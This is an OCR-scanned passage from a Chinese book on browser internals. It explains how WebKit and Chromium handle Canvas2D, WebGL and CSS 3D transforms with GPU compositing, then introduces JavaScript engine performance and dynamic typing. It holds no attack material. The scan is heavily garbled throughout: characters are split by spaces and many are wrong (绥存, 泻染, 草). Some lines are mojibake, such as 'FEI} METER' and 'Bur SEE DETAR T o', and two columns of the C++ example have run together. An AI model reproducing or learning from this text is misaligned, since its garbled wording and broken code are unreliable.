素 对 应 的 RenderLayer 对 象 还 没有 被 创建 ， 它 在 第 二 阶段 才 会 创建 ， 这 
是 为 什么 昵 ? 回想 之 前 的 介绍 ， 在 DOM 创 建 过 程 中 ， 当 WebKit 构 建 
canvas 元 素 的 对 象 时 ， 并 没有 为 它 创建 RenderLayer 对 象 ， 因 为 这 是 延迟 
执行 的 。 如 果 “canvas” 元 素 没 有 创建 2D 或 者 3D 图 形 上 下 文 ， 它 是 不 需要 
RenderLayer 对 象 的 ， 当 然 也 就 没有 RenderLayerBacking 对 象 ， 更 没有 
GraphicsLayer 对 象 。 同 时 ， 这 段 JavaScript 代 人 码 在 DOM 构 建 过 程 中 会 被 
调用 ， 这 就 造成 了 上 面 所 述 的 这 种 情况 。 
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图 8-28 ”Canvas2D 初 始 化 阶段 的 对 象 创建 顺序 





























第 二 阶段 是 WebKit 构 建 RenderLayer 等 对 象 。 在 DOM 树 构建 完 之 
后 ，WebKit 会 检查 有 无 变化 的 CSS 样 式 ， 在 这 里 JavaScript 代 码 改变 了 
canvas 元 素 的 属性 ， 所 以 WebKit 会 更 新 RenderObject 树 和 RenderLayer 
树 。 图 8-29 描 述 了 这 一 阶段 。 
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图 8-29 “为 Canvas 元 素 创 建 RenderLayer 等 并 设置 GraphicsLayer 


在 这 里 ， 笔 者 不 想 重复 RenderLayer 等 对 象 的 创建 ， 而 想 重 点 强调 
GraphicsLayer 对 象 如 何 设置 自己 的 WebLayer 成 员 变 量 。 方 法 是 这 样 的 : 
WebKit 中 的 RenderLayerBacking 对 象 检查 是 人 否 是 canvas 元 素 ， 如 果 是 ， 
RenderLayerBacking 对 象 从 HITMLCanvasElement 对 象 中 获得 
CanvasRenderingContext2D 对 象 ， 这 一 上 下 文 对 象 的 platformLayer 函 数 
能 够 得 到 之 前 创建 的 WebLayer 对 象 ， 这 样 WebKit 就 建立 了 RenderLayer 
和 GraphicsLayer 的 映射 关系 。 为 了 简洁 起 见 ， 图 中 省 略 了 一 些 步骤 。 





第 三 个 阶段 就 是 绘图 部 分 。 图 8-30 详 细 描 述 了 这 一 思想 和 主要 过 
程 。Chromium 采 用 绥 存 模式 来 处 理 JavaScript 代 码 的 2D 图 形 操作 ， 也 就 
是 说 ， 当 JavaScript 通 过 标准 的 接口 调用 2D 图 形 的 时 候 ，Chromium 使 用 
SkDeferredCanvas 对 象 保 存 2D 图 形 操 作 ， 当 Chromium 需 要 绘制 一 个 新 帧 
的 时 候 ，Skia 图 形 库 才 会 一 次 性 提交 并 绘制 这 些 缓存 的 操作 。 
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图 8-30 ”Chromium 中 的 Canvas2D 绘 图 过 程 


先 看 图 中 的 上 半 部 分 ， 当 JavaScript 调 用 2D 绘 图 接口 时 需要 使 用 


contextAcquired() 函 数 获取 2D 图 形 上 下 文 ，Chromium 据 此 判断 后 面 修改 
画布 的 内 容 ， 所 以 Chromium 会 使 用 Canvas2DLayerManager 类 来 设置 一 
个 TaskObserver 对 象 到 主 消息 循环 ， 这 样 做 的 好 处 是 等 到 JavaScript 代 人 码 
调用 2D 绘 图 接口 之 后 ， 才 会 触发 真正 的 绘图 动作 。 而 JavaScript 代 码 调 
用 的 这 些 操作 都 是 依靠 SkDeferredCanvas 来 保存 的 。 





图 中 的 下 半 部 分 表示 当前 面 JavaScript 调 用 2D 绘 图 接口 完毕 后 ， 
WebKit 调 用 TaskObserver 类 的 didProcessTask 方 法 。 
Canvas2DLayerManager 类 调用 CanvasLayerBridge 类 来 判断 是 否 需 要 刷新 
那些 操作 。Canvas2DLayerBridge 类 检查 并 重 置 前 面 设置 的 标记 ， 如 果 
时 机 合适 的 话 ， 该 类 调用 SkDeferredCanvas 类 的 flush 函 数 提交 前 面 保存 
的 所 有 绘图 操作 ， 这 样 就 完成 了 Canvas2D 的 绘制 工作 。 





当 合 成 器 调用 updateLayers 函 数 的 时 候 ， 访 函数 会 触发 每 个 合成 层 
绘制 自己。 因为 Canvas2D 机 制 是 由 JavaScript 代 码 来 绘制 2D 图 形 ， 所 以 
这 个 时 候 canvas 所 在 的 合成 层 实际 上 已 经 绘制 完成 (或 者 说 绘制 操作 已 
经 绥 存 起 来 了 ) 。 图 8-31 描 述 了 合成 器 要 求 绘制 Canvas2D 的 合成 层 的 过 
程 ， 读 者 可 以 看 到 ， 这 时 候 WebKit 实 际 上 不 需要 绘制 该 层 ， 只 需要 改变 
一 下 3D 图 形 上 下 文 的 状态 。 
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图 8-31 Chromium 中 合成 器 调用 绘制 Clanvas2D 的 合成 层 


从 中 读者 可 以 发 现 ， 这 一 机 制 虽然 延 民 了 一 些 操 作 《 实 际 上 没有 什 
么 影响 )， 但 是 Chromium 采 用 的 这 一 延迟 思想 非常 有 用 ， 也 就 是 合并 
很 多 2D 绘 图 操作 名 ， 这 样 能 够 有 效 提 高 绘制 的 性 能 。 


8.3.2 WebGL 


8.3.2.1 3D 图 形 上 下 文 


前 面 提 到 过 3D 图 形 上 下 文 ，WebCore 表 示 该 上 下 文 的 抽象 类 是 
GraphicsContext3D 。WebKit 的 Chromium 移 植 定义 了 
WebGraphicsContext3D 接 口 ， 该 接口 类 是 GraphicsContext3D 的 实现 类 ， 
基本 上 实现 类 的 所 有 接口 都 可 以 映射 到 OpenGL ES 2.0 规范 所 定义 的 编 
程 接口 。 





图 8-32 中 包含 了 三 个 类 ， 最 下 面 的 类 就 是 
WebGraphicsContext3DCommandBufferImpl， 该 类 是 
WebGraphicsContext3D 类 对 应 的 使 用 命令 缓冲 区 的 实现 子 类 。 前 面 提 到 
的 合成 过 程 和 Canvas2D， 包 括 本 市 介绍 的 WebGL 都 会 使 用 该 类 来 实现 
3D 图 形 操 作 。 
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图 8-32” 3D 图 形 上 下 文 和 Chromium 的 实现 类 


8.3.2.2 ”WebGEL 的 实现 


WebGL 是 Khronous 组 织 提出 的 一 套 基 于 3D 图 形 定义 的 JavaScript 接 
口 ， 它 基于 canvas 元 素 ， 跟 Canvas2D 不 同 的 是 ，Web 开 发 者 可 以 使 用 3D 
图 形 接口 来 绘制 各 种 3D 图 形 。 根 据 WebGL 规 范 中 的 描述 ， 这 些 接口 可 
以 分 成 下 面 几 个 主要 的 部 分 。 





。 上下文 及 内 容 展示 : 在 使 用 WebGL 的 编程 接口 之 前 ， 开 发 者 需要 
获取 WebGL-RenderingContext 和 DrawingBuffer 接 口 (Chromium 需 
要 它 ) 。 对 JavaScript 代 码 来 说 ，GL 的 操作 都 是 由 
WebGLRenderingContext 对 象 来 负责 完成 。 但 是 ，DrawingBuffer 接 
口 对 用 户 来 说 是 透明 的 ， 它 用 来 存储 泻 染 的 内 容 并 被 合成 絮 所 合 
成 ， 包 括 帧 绥 冲 器 对 象 ( 绘 制 的 结果 存储 〉， 和 纹理 对 象 ( 纹 理 被 合 
成 器 所 使 用 ) 。 

。 WebGE 的 资源 及 其 生命 周期 : 纹理 对 象 、 绥 冲 区 (VBOs) ~ thi 
绥 冲 区 、 泻 染 缓冲 区 、 着 色 器 每 (这 些 也 都 是 OpenGL 的 资源 ) 。 
它们 有 对 应 的 JavaScript 对 象 即 与 WebGLObject 对 应 ， 这 些 对 象 的 生 
命 周 期 是 一 致 的 。 

。 安全 : WebGL 规 范 为 保证 安全 性 ， 第 一 ， 所 有 的 WebGL 资 源 必须 
包含 初始 化 的 数据 ;第 二 ， 来 源 安 全 性 ， 为 防止 信息 泄露 ， 

当 “canvas” 元 素 的 属性 “origin-clean” 为 false 时 ，readPixels 将 会 抛 出 
安全 方面 的 异常 ， 第 三 ， 要 求 所 有 的 着 色 语 言 必须 符合 OpenGL ES 
Shading Language 1.0; 第 四 ， 为 防止 DOS 攻 击 ， 规 范 建议 采取 适当 
的 措施 对 花费 时 间 过 长 的 泻 染 操作 过 程 进行 监控 和 限制 。 

。 WebGL 接 口 : 主要 包括 各 种 资源 类 的 接口 和 上 下 文 类 的 接口 ， 这 
些 接口 用 于 绘制 3D 的 操作 ， 它 们 基本 上 来 源 于 OpenGL ES 2.0 定 义 
的 接口 。 











e WebGL 与 OpenGLES 2.0 的 区 别 : 这 里 不 再 一 一 介绍 ， 读 者 可 以 
目 行 翻阅 和 了 人 解 相关 细节 。 读 者 假如 想 要 了 解 自 己 的 浏览 器 对 
WebGL 支 持 的 详细 情况 ， 请 访问 http://webglreport.sourceforge.net/ 获 
取 详细 参数 。 


针对 规范 定义 的 内 容 ，WebKit 和 Chromium 定 义 了 相应 的 类 来 描述 
它们 ， 图 8-33 给 出 了 主要 类 。WebGLRenderingContext 类 同 
CanvasRenderingContext2D 类 的 作用 类 似 ， 都 是 规范 定义 的 接口 。 不 同 
的 是 ，WebGL 的 接口 是 3D 图 形 操 作 。WebGLRenderingContext 类 同样 需 
要 一 个 GraphicsContext3D 类 和 它 的 实现 类 ， 除 此 之 外 ， 还 需要 一 个 
DrawingBuffer 类 ， 它 类 似 于 Canvas2D 中 的 ImageBuffer， 它 的 作用 是 保 
存 WebGL 泻 染 目标 结果 ，WebKit 将 泻 染 结果 用 来 合成 。 
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图 8-33 WebKit 和 Chromium 中 支持 WebGL 的 主要 类 


下 面 同样 以 例子 来 说 明 WebGL 的 工作 过 程 ， 示 例 代 码 8-1 中 就 是 一 
个 使 用 WebGL 技 术 的 网 页 ， 以 此 例 为 基础 来 挡 述 这 一 个 过 程 。 跟 
Canvas2D 的 过 程 分 析 一 样 ， 这 里 同样 也 把 Chromium 中 WebGL 的 工作 过 


FEI} METER 


第 一 阶段 是 对 象 的 初始 化 阶段 ， 当 JavaScript 引 擎 调用 示例 代码 中 的 
getContext 函 数 的 时 候 ，WebKit 束 会 执行 如 图 8-34 所 示 的 对 象 创建 顺 


序 ， 这 一 过 程 跟 Canvas2D 的 对 象 创 建 过 程 非常 类 似 。 不 同 的 是 ， 这 一 阶 
段 不 会 创建 CC::Layer 对 象 。 
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图 8-34 WebGL 初 始 化 阶段 的 对 象 创 建 顺序 


第 二 阶段 是 构建 RenderLayer、WebLayer、CC::Layer 等 对 象 ， 同 样 
是 和 DOM 桂 构建 之 后 检查 CSS 样 式 变化 时 才 会 被 触发 。 当 RenderLayer 
等 对 象 被 创建 之 后 ，WebKit 设 置 GraphicsLayer 对 象 所 对 应 的 WebLayer 
对 象 。 同 Canvas2D 不 一 样 的 是 ， 此 时 DrawingBuffer 对 象 才 会 开始 请 求 
创建 WebLayer (WebLayerImpl) 和 TextureLayer 对 象 ， 之 后 WebKit 同 样 
将 WebLayer 对 象 设置 到 GraphicsLayer 中 。 图 8-35 描 述 了 这 一 过 程 ， 为 了 
简洁 起 见 ， 图 中 省 略 了 一 些 步 骤 。 
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图 8-35 WebGL 创 建 RenderLayer 和 TextureLayer 等 对 象 


第 三 阶段 是 3D 绘 图 部 分 ， 图 8-36 是 一 个 简单 的 WebGL 使 用 
clearColor 接 口 来 设置 颜色 的 JavaScript 代 人 码 被 WebKit 执 行 的 过 程 。 同 
Canvas2D 机 制 不 一 样 的 是 ， 每 个 GL 的 调用 都 是 直接 通过 
WebGraphicsContext3DCommandBufferImpl 类 将 GL 命令 传 给 GPU 进 程 ， 
这 一 过 程 没 有 使 用 绥 存 机 制 ， 而 是 直接 将 命令 传递 给 GPU 进 程 。 


V8 Engine WebGLRenderingContext GraphicsContext3D WebGraphicsContext3DCo 
mmandBufferlmpl 
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3D 图 形 操作 ， 例 如 clearColor 
1.1: clearColor 


1.1.1: clearColor | 














图 8-36 WebGL 绘 制 3D 图 形 


同样 的 ， 当 合成 器 调用 updateLayers 函 数 的 时 候 ， 该 函数 会 触发 
WebGL 所 使 用 的 合成 层 绘制 合成 层 的 目标 结果 到 合成 层 的 存储 结果 。 
WebGL 所 在 层 的 内 容 在 合成 器 请 求 更 新 该 层 之 前 已 经 由 WebKit 完 成 。 
图 8-37 描 述 了 合成 器 要 求 绘制 WebGL 的 合成 层 时 候 的 过 程 ， 
DrawingBuffer 所 要 做 的 就 是 刷新 3D 图 形 上 下 文中 的 结果 数据 ， 并 返回 
结果 。 
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图 8-37 ”Chromium 中 合成 器 调用 绘制 WebGL 的 合成 层 


8.3.3 CSS 3D 变 形 


CSS ”3D 变 形 和 动画 是 HIML5 引 入 的 新 特性 ， 作 用 是 能 够 对 任意 
DOM 子 树 作 3D 变 形 。 这 一 特性 非常 有 用 ， 它 同 WebGL 提 供 的 能 力 是 不 
一 样 的 。WebGL 是 在 一 个 “canvas” 元 素 内 部 绘制 3D 图 形 ，CSS 3D 变形 
功能 可 以 对 任何 元 素 进行 3D 变 形 ， 它 是 一 个 可 以 被 元 素 子 女 继承 的 属 
性 ， 也 束 是 一 个 元 素 和 它 的 子女 都 会 作 相应 的 3D 变 形 。 





WebKit 对 应 用 该 变形 技术 的 DOM 子 树 使 用 单独 的 合成 层 和 硬件 加 
速 机 制 。 当 使 用 JavaScript 代 码 改 变 该 元 素 的 3D 变 形 样式 后 ，Chromium 
能 够 减少 网 页 每 一 帧 泻 染 所 需要 的 时 间 ， 和 典型 的 例子 就 是 前 面 提 到 的 网 
页 ， 来 自 于 www.famo.us。 


以 示例 代码 6-1 所 展示 的 CSS ”3D 变 形 为 例 ， 说 明 3D 变 形 是 如 何 被 
WebKit 和 Chromium 人 处理 的 。 对 于 WebKit 需 要 创建 RenderLayer 等 对 象 ， 
之 前 已 经 介绍 过 ， 这 里 不 再 歼 述 。 图 8-38 介 绍 了 WebKit 和 Chromium 设 
置 3D 变 形 值 的 过 程 。 
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图 8-38 设置 合成 器 中 的 Layer 对 象 的 3D 变 形 值 





当 网 页 中 JavaScript 代 码 修改 元 素 的 变换 属性 值 的 时 候 ， 通 过 上 面 的 





过 程 ， 最 后 样式 是 设置 在 该 合成 层 〈 前 景 层 ) 上 ， 当 WebKit 将 元 素 绘制 
完成 之 后 ， 在 合成 过 程 中 ，WebKit 通 过 3D 变 形 作用 到 该 合成 屋 上 ， 即 
可 完成 特定 的 效果 。WebKit 只 是 在 第 一 次 需要 绘制 “div” 元 素 的 内 容 ， 
之 后 仅 仪 设置 变换 属性 值 ， 然 后 重新 合成 即 可 。 当 合成 器 调度 绘制 该 合 
成 层 的 时 候 ，WebKit 根 本 不 会 发 生 想 象 中 的 重新 布局 和 重 绘 动作 。 虽 然 
用 户 看 起 来 网 页 内 容 在 变动 ， 但 是 这 只 是 合成 的 动作 ， 这 些 动画 等 都 是 
WebKit 和 Chromium 设 计 的 机 制 和 硬件 加 速 市 来 的 效果 。 


8.3.4 其 他 


网 页 中 还 有 很 多 其 他 的 模块 可 以 使 用 GPU 硬件 机 制 来 加 速 ， 例 如 文 
持 视 频 解码 和 播放 、2D 图 形 绘制 等 ，WebKit 文 持 它们 的 主要 思想 依旧 
征 对 这 些 内 容 进行 分 层 ， 使 用 GPU 的 强大 绘图 能 力 来 文 持 这 些 模块 ， 关 
于 视频 方面 的 介绍 ， 笔 者 将 在 第 11 章 “多 媒体 ” 作 进 一 步 的 曾 述 。 该 者 还 
可 以 思考 一 下 有 没有 其 他 地 方 可 以 使 用 加 速 机 制 。 














另外 ， 还 有 很 多 新 的 思路 对 硬件 加 速 机 制 进行 改进 ， 典 型 的 做 法 是 
使 用 多 线程 机 制 ， 因 为 现代 处 理 器 都 包含 多 核 ， 使 用 线程 化 的 方法 来 文 
持 网 页 的 演 染 是 一 个 很 好 的 思路 。 当 然 线程 化 的 代价 就 是 WebKit 需 要 同 
步 或 者 内 容 的 找 贝 ， 例 如 前 面 介绍 的 线程 化 合成 器 、Layer 树 和 
LayerImpl 树 。Chromium 为 了 减少 同步 和 等 竺 的 开销 ， 创 建 LayerImpl 树 
并 拷贝 Layer 树 的 内 容 ， 但 是 这 一 做 法 帝 来 的 好 处 也 很 明显 。 所 谓 有 利 
也 有 次 正 是 如 此 ， 关 键 看 应 用 场景 的 实际 效果 如 何 。 





8.3.5 SER: Chromium) 7 


Chromium 使 用 GPU 加 速 机 制 来 加 速 网 页 泻 染 被 广泛 地 应 用 在 各 种 
网 页 中 。Chromium 浏 览 右 对 网 页 演 染 的 理解 的 确 很 不 一 样 ， 在 网 页 功 
能 越 来 越 强 的 同时 ， 用 户 也 能 够 取得 较 好 的 性 能 和 体验 效果 。 


图 8-39 描 述 了 Chromium 目 前 能 使 用 GPU 硬件 加 速 的 各 项 网 页 功能 ， 
这 是 在 Windows 系 统 上 显示 的 结果 ， 在 其 他 平台 上 ， 结 果 可 能 不 一 样 ， 
例如 在 Android 上 面 可 能 有 更 多 跟 加 速 相关 的 功能 。 图 中 的 一 些 功 能 之 
前 已 经 介绍 过 ， 例 如 Canvas、Compositing、3D CSS 和 CSS Animation、 
WebGL 等 。 不 过 ， 还 有 些 其 他 的 功能 笔者 并 没有 介绍 ， 例 如 Flash、 
Video、WebGL multisampling (WebGL 中 的 反 锯 齿 技 术 ) 等 。 除 了 
Video 之 外 ， 读 者 对 其 他 功能 有 兴趣 的 话 ， 可 以 自行 参考 相关 材料 。 





Graphics Feature Status 
e Canvas: Hardware accelerated 
Compositing: Hardware accelerated on all pages and threaded 
3D CSS: Hardware accelerated 
CSS Animation: Accelerated and threaded 
WebGL: Hardware accelerated 
WebGL multisampling: Hardware accelerated 
Flash 3D: Hardware accelerated 
Flash Stage3D: Hardware accelerated 
Flash Stage3D Baseline profile: Hardware accelerated 
Texture Sharing: Hardware accelerated 
Video Decode: Hardware accelerated 
Video: Hardware accelerated 
Panel Fitting: Unavailable. Hardware acceleration disabled. 
Rasterization: Software only. Hardware acceleration disabled. 


e 
e 
e 
e 
e 
e 
e 
e 
e 
e 
e 
e 
e 





图 8-39 Chromium 能 够 使 用 GPU 加 速 的 功能 


关于 使 用 硬件 加 速 和 合成 堪 的 实践 ， 读 者 可 以 回顾 第 2 草 中 图 2-5 所 
描述 的 网 页 层次 结构 。 相 信 读 者 现在 对 那些 合成 屋 ， 以 及 将 合成 层 分 成 
Bur SEE DETAR T o 


(1) 该 图 参考 于 Chromium 工 程 师 的 文档 “<Compositing in — Blink/WebCore:From 
WebCore::RenderLayer to cc:Layer”。 


(2) 因为 Renderer 进 程 需要 等 待 GPU 进 程 做 好 某 些 操 作 之 后 才 继 续 执行 。 


B) 基于 GLES 的 编码 格式 ， 因 为 WebGL 也 可 以 简单 理解 成 是 基于 GLES 的 JavaScript 绑 定 ， 
所 以 简单 直观 并 且 容 易 支 持 WebGL 的 需求 。 


(4) 典型 的 衡量 标准 是 FPS，Frame Per Second， 也 就 是 每 秒 更 新 的 帧 数 。 
(5) 因为 SkDeferredCanvas 采 用 批 处 理 方式 工作 ， 可 以 合并 或 者 取消 一 些 操作 




































































第 9 草 JavaScript5|= 


Web 技 术 的 发 展 让 JavaScript 语 言 远 远 超 出 了 之 前 的 设计 初衷 ， 在 承 
载 着 越 来 越 强 大 能 力 的 同时 ， 它 的 性 能 也 越 来 越 受到 关注 。 让 我 们 带 着 
这 样 一 些 问题 进入 本 章 一 一 为 什么 JavaScript 代 码 的 运行 速度 会 这 么 慢 ， 
以 及 现代 JavaScript 引 擎 是 如 何 提 高 JavaScript 代 码 的 速度 的 。 在 介绍 
JavaScript 语 言 的 特性 之 后 ， 逐 步 训 析 现 代 JavaScript 引 擎 的 工作 原理 和 
为 了 提高 性 能 所 做 的 巨大 努力 。 当 然 ， 本 章 解释 的 重点 主要 是 现在 
WebKit 中 广泛 使 用 的 JavaScriptCore 引 擎 和 V8 引 擎 ， 两 者 有 一 些 共通 之 
处 ， 却 又 有 一 些 不 同 之 处 。 














9.1 概述 


9.1.1 JavaScript 语言 


说 起 JavaScript 语 言 ， 又 要 讲 一 个 典型 的 从 弱小 到 壮大 的 奋斗 史 。 起 
初 ， 它 只 是 一 个 非常 不 起 眼 的 语言 ， 用 来 处 理 非常 小 众 的 问题 。 所 以 ， 
从 设计 之 初 ， 它 的 目标 就 是 解决 一 些 脚 本 语言 的 问题 ， 因 为 设计 的 能 
有 限 ， 性 能 不 需要 重点 考虑 。 因 为 使 用 场景 少 ， 所 以 用 户 对 于 性 能 的 要 
求 也 比较 低 。 在 过 去 几 年 ， 由 于 Web 时 代 的 来 临 和 HTML5 的 兴起 ， 这 
一 切 让 JavaScript 前 所 未 有 地 成 为 焦点 ， 自 然 它 的 功能 和 性 能 在 大 家 的 努 
力 下 都 有 了 长 足 的 进步 。 


JavaScript 是 一 种 脚本 语言 ， 主 要 用 在 Web 的 客户 端 〈 这 样 说 也 不 准 
确 ，Node.js 和 其 他 一 些 用 法 的 出 现 就 是 例外 ) ， 它 的 出 现 是 为 了 控制 网 
页 客户 端的 逻辑 ， 例 如 同 用 户 的 交互 、 异 步 通信 等 需求 。 当 然 ， 在 
HTML5 高 速 发 展 的 今天 ， 它 的 作用 越 来 越 大 ， 被 广泛 地 使 用 在 各 种 其 
他 技术 中 。 





本 质 上 它 是 一 种 解释 型 语言 (不 知道 按照 现在 的 实现 来 看 ， 这 么 说 
是 不 是 准确 ) ， 函 数 是 它 的 第 一 等 公民 ， 也 就 是 函数 也 能 够 当 作 参数 或 
者 返回 值 来 传递 。 示 例 代码 9-1 是 一 个 简单 的 例子 ， 读 者 可 以 看 到 一 个 
简单 的 函数 “getOperation”， 它 的 返回 值 就 是 一 个 匿名 函数 。 





示例 代码 9-1 函数 作为 函数 的 返回 值 


function getOperation() { 


return function () { 
print("JavaScript"); 

}; 

} 





JavaScript 语 言 的 男 一 个 重大 特点 就 是 ， 它 是 一 种 无 类 型 语言 ， 或 者 
说 是 动态 类 型 语言 。 相 比较 而 言 ，C++ 或 者 Java 等 语言 都 是 静态 类 型 语 
言 ， 它 们 在 编译 的 时 候 就 能 够 知道 每 个 变量 的 类 型 。 但 是 ，JavaScript 的 
语言 特性 让 我 们 没有 办 法 在 编译 的 时 候 知 道 变 量 的 类 型 ， 所 以 只 能 在 运 
行 的 时 候 才 能 确定 ， 这 导致 JavaScript 语 言 的 规范 面临 着 性 能 方面 的 巨大 
压力 。 在 运行 时 计算 和 决定 类 型 ， 会 带 来 很 严重 的 性 能 损失 ， 这 导致 了 
JavaScript 语 言 的 运行 效率 比 C++ 或 者 Java 都 要 低 很 多 。 














先 看 示例 代码 9-2 所 示 的 一 个 简单 的 JavaScript 代 码 ， 它 是 一 个 简单 
得 不 能 再 简单 的 包含 两 个 参数 的 JavaScript 函 数 ， 其 目的 就 是 计算 参数 a 
的 属性 为 x 的 值 与 参数 b 的 属性 为 y 的 值 的 和 。 


示例 代码 9-2 一 个 简单 的 JavaScript 浮 数 


function add(a, b) { 
return a.x*a.y + b.x*b.y; // 这 里 对 象 a 和 b 的 类 型 未 知 
} 


问题 来 了 ， 当 JavaScript 引 擎 分 析 到 该 段 代 码 的 时 候 ， 根 本 没有 办 法 
知道 a 和 b 是 什么 类 型 ， 唯 一 的 办 法 吏 是 运行 的 时 候 根据 实际 传递 过 来 的 
对 象 再 来 计算 。 读 者 可 能 会 好 奇 ， 这 好 像 并 没什么 特别 的 嘛 ， 事 实 上 这 
会 导致 严重 的 性 能 问题 。 





让 我 们 来 简单 解释 一 下 为 什么 静态 类 型 能 够 大 量 地 市 省 运行 时 间 。 


示例 代码 9-3 是 一 个 简单 的 C++ 图 数 ， 它 同 9-2 类 似 ， 不 同 之 处 在 于 参数 
必须 指定 类 型 。 


示例 代码 9-3 ”一 个 简单 的 C++ 函数 


int add(Class1 a, Class1 b) { class Class1 { 
return a.x*a.y + b.x*b.y; int x; 
} int y; 

} 





当 编 译 示例 代码 9-3 中 左边 部 分 的 时 候 ， 根 据 右边 部 分 类 型 Classl 的 
定义 ， 获 取 对 象 a 的 属性 x 的 时 候 ， 其 实 就 是 对 象 a 的 地 址 ， 大 小 是 一 个 
整形 。 同 时 获取 对 象 b 的 属性 y 的 时 候 ， 其 实 就 是 对 象 b 的 地 址 加 上 4 个 字 
市 《不同 的 平台 上 可 能 不 同 ， 但 是 一 旦 平台 确定 ， 其 值 是 固定 的 ) ， 这 
些 都 是 在 生成 本 地 代码 的 时 候 确 定 的 ， 无 须 在 运行 本 地 代码 的 时 候 决 定 
它们 的 地 址 和 类 型 是 什么 ， 这 显然 能 够 节省 时 间 。 








源 代码 3 二 地 址 十 0 对 象 a 的 表示 





志 地 址 十 4 





图 9-1 示例 代码 9-3 中 的 类 和 对 象 的 结构 表示 





图 9-1 中 最 右 侧 表示 的 是 类 Class1 的 属性 对 应 的 地 址 信息 ， 在 编译 阶 
段 ， 编 译 器 根据 int 类 型 来 决定 属性 占用 4 个 字 节 ， 地 址 就 是 对 象 的 地 
址 ， 因 为 偏 移 量 为 0。 所 以 对 于 y 来 说 ， 访 问 它 只 需要 将 对 象 地 址 加 上 4 
个 字 节 即 可 ， 也 就 是 偏 移 量 为 4。 所 以 在 编译 的 时 候 ， 能 够 确定 访问 对 
象 a 中 属性 的 偏 移 量 ， 根 据 这 些 信息 ， 可 以 生成 相应 的 汇编 代码 。 其 中 
的 符号 信息 ， 例 如 字符 “x” 和 “y” 运 行 时 都 不 再 需要 ， 因 为 不 再 需要 额外 
的 查找 这 些 属性 地 址 的 工作 。 在 C++ 和 Java 等 语言 中 ， 已 事先 知道 所 存 














取 的 成 员 变 量 〈 类 ) 类 型 ， 所 以 语言 解释 系统 interpreting System) 只 
要 利用 数组 和 位 移 来 存 取 这 些 变量 和 方法 的 地 址 等 。 位 移 信 息 使 它 只 要 
几 个 机 器 语言 指令 ， 就 可 以 存 取 变量 、 找 出 变量 或 执行 其 他 任务 。 





现在 继续 回 到 JavaScript 代 码 中 来 ， 对 于 传统 的 JavaScript 解 释 器 ， 
所 有 这 一 切 都 是 解释 执行 ， 所 以 效率 不 会 局 到 哪 去 。 不 管 是 解释 器 还 是 
现在 更 为 高 效 的 JIT (Just-In-Time) 技术 ， 面 临 购 难题 都 是 类 型 问题 。 
现在 我 们 也 将 JavaScript 代 码 的 处 理 分 成 两 个 阶段 ， 就 是 编译 阶段 (虽然 
跟 传统 的 编译 有 些 不 同 ) 和 执行 阶段 。 对 于 JavaScript 引 擎 来 说 ， 因 为 没 
有 C++ 或 者 Java 这 样 的 强 类 型 语言 的 类 型 信息 ， 所 以 JavaScript 引 擎 通 各 
的 做 法 就 是 如 图 9-2 所 表示 的 方法 来 存储 每 一 个 对 象 。 














对 象 a 的 结构 
表示 





图 9-2 示例 代码 9-2 的 对 象 a 和 b 的 结构 表示 


基本 的 工作 方式 是 这 样 ， 当 创建 对 象 a 的 时 候 《〈 这 个 当然 是 执行 阶 
段 ，， 如 果 它 包含 两 个 属性 (根据 JavaScript 的 语言 特性 ， 没 有 类 型 ， 而 
且 这 些 属 性 都 是 动态 创建 的 ， 属 性 就 是 前 面 说 的 C++ 的 类 成 员 变 量 ) ， 
那么 引 敬 会 为 它们 创建 如 图 9-2 左 边 所 示 的 结构 ， 也 就 是 属性 名 -属性 值 
对 ， 需 要 强调 的 是 这 些 属性 名 《典型 的 做 法 就 是 采用 字符 串 ) 都 是 会 被 
保存 的 ， 因 为 之 后 访问 该 对 象 的 属性 值 时 需要 通过 属性 名 匹配 来 获取 相 
应 的 值 。 读 者 看 到 对 象 b 是 同样 的 结构 ， 也 同样 保存 相同 的 属性 ， 因 为 
JavaScript 没 有 类 型 ， 所 以 每 个 对 象 需要 目 己 保存 这 些 信息 。 在 降低 性 能 
的 同时 ， 读 者 也 会 发 现 它们 存在 内 容 元 余 的 部 分 ， 比 如 对 象 a 和 对 象 b 都 
保存 相同 的 属性 名 ， 随 着 对 象 的 增多 ， 这 显然 会 币 来 空间 上 的 巨大 浪 
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对 象 基地 址 的 侦 移 位 置 。 从 这 个 角度 来 看 ，JavaScript 和 C++ 语言 《下面 
的 解释 需要 对 C++ 语言 有 一 些 基 本 的 认识 ) 上 的 区 别 包 括 以 下 几 个 部 


Th 


编译 确定 位 置 : C++ REN PTT BC, M a EX EE E I iS fs 
县 都 是 编译 器 在 编译 的 时 候 就 决定 了 的 ， 当 C++ 代码 编译 成 本 地 代 
码 之 后 ， 对 象 的 属性 和 偶 移 信息 都 计算 完成 。 因 为 JavaScript 没 有 类 
型 ， 所 以 只 有 在 对 象 创建 的 时 候 才 有 这 些 信息 ， 因 而 只 能 在 执行 阶 
段 确定 ， 而 且 JavaScript 语 言 能 够 在 执行 时 修改 对 象 的 属性 (不 是 属 
性 值 ， 而 是 添加 或 者 删除 属性 本 身 ) 。 

偶 移 信息 共享 : C++ 因为 有 类 型 定义 ， 所 以 所 有 对 象 都 是 按照 该 类 
型 来 确定 的 ， 而 且 不 能 在 执行 的 时 候 动态 改变 类 型 ， 因 为 这 些 对 象 
都 是 共 至 偏 移 信 息 的 。 访 问 它们 只 需要 按照 编译 时 确定 的 偏 移 量 即 
可 。 而 对 于 C++ 模板 的 文 持 ， 其 实 是 多 份 代码 ， 因 为 本 质 上 其 道理 
征 相同 的 。JavaScript 则 不 同 ， 每 个 对 象 都 是 目 描述 ， 属 性 和 位 置 俩 
移 信息 都 包含 在 自 映 的 结构 中 。 

偏 移 信 息 查 找 : C++ 中 碍 找 偶 移 地 址 很 简单 ， 都 是 在 编译 代码 时 ， 
对 使 用 到 茶 类 型 的 成 员 变 量 直 接 设置 侦 移 量 。 而 对 于 JavaScript， 使 
用 到 一 个 对 象 则 需要 通过 属性 名 匹配 才能 碍 找到 对 应 的 值 ， 这 实在 
太 费 时 间 了 。 























对 于 这 个 问题 读者 可 能 觉得 其 对 性 能 的 影响 不 大 ， 其 实 不 是 这 样 。 


因为 对 象 属性 的 访问 非常 普 授 而且 次 数 非 第 频 紧 ， 而 通过 偏 移 量 来 访问 
值 并 且 知 道 该 值 的 类 型 ， 使 用 少数 两 个 汇编 指令 就 能 完成 ， 但 是 ， 对 于 








图 9-2 中 的 通过 属性 名 来 匹配 对 于 性 能 造成 的 影响 可 能 会 多 很 多 倍 ， 因 





为 属性 名 匹配 需要 特别 长 的 时 间 ， 而 且 额外 溪 费 很 多 和 内存 空 间 。 





